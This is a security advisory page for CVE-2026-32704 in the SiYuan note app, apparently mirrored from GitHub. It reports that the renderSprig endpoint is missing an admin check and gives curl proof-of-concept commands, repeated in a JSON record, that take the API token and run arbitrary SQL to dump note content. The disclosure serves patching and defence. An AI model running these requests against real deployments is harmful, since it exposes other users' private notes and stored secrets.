GHSA-4J3X-HHG2-FM2X

Vulnerability from github – Published: 2026-03-13 20:56 – Updated: 2026-03-30 13:56
VLAI
Summary
SiYuan's renderSprig has a missing admin check that allows any user to read full workspace DB
Details

Summary

POST /api/template/renderSprig lacks model.CheckAdminRole, allowing any authenticated user to execute arbitrary SQL queries against the SiYuan workspace database and exfiltrate all note content, metadata, and custom attributes.

Details

File: kernel/api/router.go

Every sensitive endpoint in the codebase uses model.CheckAuth + model.CheckAdminRole, but renderSprig only has CheckAuth:

//  Missing CheckAdminRole
ginServer.Handle("POST", "/api/template/renderSprig",
    model.CheckAuth, renderSprig)

//  Correct pattern used by all other data endpoints
ginServer.Handle("POST", "/api/template/render",
    model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renderTemplate)

renderSprig calls model.RenderGoTemplate (kernel/model/template.go) which registers SQL functions from kernel/sql/database.go:

(*templateFuncMap)["querySQL"] = func(stmt string) (ret []map[string]interface{}) {
    ret, _ = Query(stmt, 1024)  // executes raw SELECT, no role check
    return
}

Any authenticated user - including Publish Service Reader role accounts - can call this endpoint and execute arbitrary SELECT queries.

PoC

Environment:

docker run -d --name siyuan -p 6806:6806 \
  -v $(pwd)/workspace:/siyuan/workspace \
  b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123

Exploit:

# Step 1: Login and retrieve API token
curl -s -X POST http://localhost:6806/api/system/loginAuth \
  -H "Content-Type: application/json" \
  -d '{"authCode":"test123"}' -c /tmp/siy.cookie

sleep 15  # wait for boot

TOKEN=$(curl -s -X POST http://localhost:6806/api/system/getConf \
  -b /tmp/siy.cookie -H "Content-Type: application/json" -d '{}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['conf']['api']['token'])")

# Step 2: Execute SQL as non-admin user
curl -s -X POST http://localhost:6806/api/template/renderSprig \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"template":"{{querySQL \"SELECT count(*) as n FROM blocks\" | toJson}}"}'

Confirmed response on v3.6.0:

{"code":0,"msg":"","data":"[{\"n\":0}]"}

Full note dump:

curl -s -X POST http://localhost:6806/api/template/renderSprig \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"template":"{{range $r := (querySQL \"SELECT hpath,content FROM blocks LIMIT 100\")}}{{$r.hpath}}: {{$r.content}}\n{{end}}"}'

Impact

Any authenticated user (API token holder, Publish Service Reader) can: - Dump all note content and document hierarchy from the workspace - Exfiltrate tags, custom attributes, block IDs, and timestamps - Search notes for stored passwords, API keys, or personal data - Enumerate all notebooks and their structure

This is especially severe in shared or enterprise deployments where lower-privilege accounts should not have access to other users' notes.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.6.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32704"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-732"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-13T20:56:47Z",
    "nvd_published_at": "2026-03-16T14:19:41Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n`POST /api/template/renderSprig` lacks `model.CheckAdminRole`, allowing any authenticated user to execute arbitrary SQL queries against the SiYuan workspace database and exfiltrate all note content, metadata, and custom attributes.\n\n### Details\n**File:** `kernel/api/router.go`\n\nEvery sensitive endpoint in the codebase uses `model.CheckAuth + model.CheckAdminRole`, but `renderSprig` only has `CheckAuth`:\n\n```go\n//  Missing CheckAdminRole\nginServer.Handle(\"POST\", \"/api/template/renderSprig\",\n    model.CheckAuth, renderSprig)\n\n//  Correct pattern used by all other data endpoints\nginServer.Handle(\"POST\", \"/api/template/render\",\n    model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renderTemplate)\n```\n\n`renderSprig` calls `model.RenderGoTemplate` (`kernel/model/template.go`) which registers SQL functions from `kernel/sql/database.go`:\n\n```go\n(*templateFuncMap)[\"querySQL\"] = func(stmt string) (ret []map[string]interface{}) {\n    ret, _ = Query(stmt, 1024)  // executes raw SELECT, no role check\n    return\n}\n```\n\nAny authenticated user - including Publish Service **Reader** role accounts - can call this endpoint and execute arbitrary SELECT queries.\n\n### PoC\n**Environment:**\n```bash\ndocker run -d --name siyuan -p 6806:6806 \\\n  -v $(pwd)/workspace:/siyuan/workspace \\\n  b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123\n```\n\n**Exploit:**\n```bash\n# Step 1: Login and retrieve API token\ncurl -s -X POST http://localhost:6806/api/system/loginAuth \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"authCode\":\"test123\"}\u0027 -c /tmp/siy.cookie\n\nsleep 15  # wait for boot\n\nTOKEN=$(curl -s -X POST http://localhost:6806/api/system/getConf \\\n  -b /tmp/siy.cookie -H \"Content-Type: application/json\" -d \u0027{}\u0027 \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027data\u0027][\u0027conf\u0027][\u0027api\u0027][\u0027token\u0027])\")\n\n# Step 2: Execute SQL as non-admin user\ncurl -s -X POST http://localhost:6806/api/template/renderSprig \\\n  -H \"Authorization: Token $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"template\":\"{{querySQL \\\"SELECT count(*) as n FROM blocks\\\" | toJson}}\"}\u0027\n```\n\n**Confirmed response on v3.6.0:**\n```json\n{\"code\":0,\"msg\":\"\",\"data\":\"[{\\\"n\\\":0}]\"}\n```\n\n**Full note dump:**\n```bash\ncurl -s -X POST http://localhost:6806/api/template/renderSprig \\\n  -H \"Authorization: Token $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"template\":\"{{range $r := (querySQL \\\"SELECT hpath,content FROM blocks LIMIT 100\\\")}}{{$r.hpath}}: {{$r.content}}\\n{{end}}\"}\u0027\n```\n\n### Impact\nAny authenticated user (API token holder, Publish Service Reader) can:\n- Dump **all note content** and document hierarchy from the workspace\n- Exfiltrate tags, custom attributes, block IDs, and timestamps\n- Search notes for stored passwords, API keys, or personal data\n- Enumerate all notebooks and their structure\n\nThis is especially severe in shared or enterprise deployments where lower-privilege accounts should not have access to other users\u0027 notes.",
  "id": "GHSA-4j3x-hhg2-fm2x",
  "modified": "2026-03-30T13:56:39Z",
  "published": "2026-03-13T20:56:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-4j3x-hhg2-fm2x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32704"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/issues/17209"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SiYuan\u0027s renderSprig has a missing admin check that allows any user to read full workspace DB"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…